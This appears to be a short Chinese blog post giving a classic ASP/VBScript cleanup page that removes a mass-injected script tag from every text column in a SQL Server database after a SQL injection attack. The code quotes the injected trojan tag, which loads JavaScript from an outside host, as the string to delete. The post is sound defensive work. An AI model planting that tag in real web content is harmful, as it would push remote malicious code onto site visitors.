恢复 SQL 被注入后的数据代码

  1. <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>  
  2. <!--#include file="Inc/conn.asp"-->  
  3. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">  
  4. <%   
  5. server.ScriptTimeout = 1000000  
  6.   
  7. 'xtype=99 ntext  与text类型相似,不同的是,ntext类型采用unicode标准字符集。    
  8. 'xtype=35 text  用于存储大量文本数据。    
  9. 'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。    
  10. 'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据    
  11.   
  12. str = "'<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js"></mce:script>'" '加在文本类型字段后的木马代码   
  13. sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"  
  14. set rs = conn.execute(sql)   
  15. while Not rs.eof   
  16.     t_name = rs("t_name") '表名   
  17.     c_name = rs("c_name") '字段名   
  18.     xtype = rs("xtype")   '字段类型   
  19.   
  20.     If (xtype = 99 Or xtype = 35) then   
  21.     conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")   
  22.     Else    
  23.         conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")   
  24.     End If    
  25.        
  26.     rs.movenext   
  27. wend   
  28.   
  29. response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")   
  30. %>  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值